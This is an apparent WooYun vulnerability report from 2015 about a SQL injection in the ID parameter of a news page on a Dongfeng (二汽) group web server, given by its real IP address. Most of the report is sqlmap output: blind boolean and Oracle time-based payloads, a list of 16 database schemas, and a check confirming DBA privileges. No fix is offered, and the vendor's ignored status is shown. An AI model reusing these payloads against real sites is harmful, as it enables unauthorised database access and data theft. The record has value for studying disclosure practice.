当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139655

漏洞标题：中国二汽某处dba sql 注入

相关厂商：www.dfmg.com.cn

漏洞作者： lj133

提交时间：2015-09-08 11:27

修复时间：2015-09-13 11:28

公开时间：2015-09-13 11:28

漏洞类型：网络敏感信息泄漏

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 细节已通知厂商并且等待厂商处理中
2015-09-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中国二汽 东风集团 注入 dba or库 大量数据库

详细说明：

http://220.249.93.237/SCN/NewsDetail.aspx?ID=3509
鄙视二汽集团 拿广大司机生命积累经验
by 二汽天龙驾驶者
or库 没玩过 求能进zone

漏洞证明：

Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3509 AND 1927=1927
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: ID=3509 AND 2889=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(85)||CHR(1
2)||CHR(69),5)
---
[08:21:49] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[08:21:49] [WARNING] schema names are going to be used on Oracle for enumeratio
 as the counterpart to database names on other DBMSes
[08:21:49] [INFO] fetching database (schema) names
[08:21:49] [INFO] fetching number of databases
[08:21:49] [INFO] resumed: 16
[08:21:49] [INFO] resumed: CTXSYS
[08:21:49] [INFO] resumed: JBPM
[08:21:49] [INFO] resumed: MDSYS
[08:21:49] [INFO] resumed: ODM
[08:21:49] [INFO] resumed: ODM_MTR
[08:21:49] [INFO] resumed: OLAPSYS
[08:21:49] [INFO] resumed: ORDSYS
[08:21:49] [INFO] resumed: OUTLN
[08:21:49] [INFO] resumed: PERFSTAT
[08:21:49] [INFO] resumed: RMAN
[08:21:49] [INFO] resumed: SCOTT
[08:21:49] [INFO] resumed: SYS
[08:21:49] [INFO] resumed: SYSTEM
[08:21:49] [INFO] resumed: WKSYS
[08:21:49] [INFO] resumed: WMSYS
[08:21:49] [INFO] resumed: XDB
available databases [16]:
[*] CTXSYS
[*] JBPM
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] RMAN
[*] SCOTT
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB


Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3509 AND 1927=1927
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: ID=3509 AND 2889=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(85)||CHR(10
2)||CHR(69),5)
---
[08:22:47] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[08:22:47] [INFO] testing if current user is DBA
current user is DBA:    True

修复方案：

不会

版权声明：转载请注明来源 lj133@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-13 11:28

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无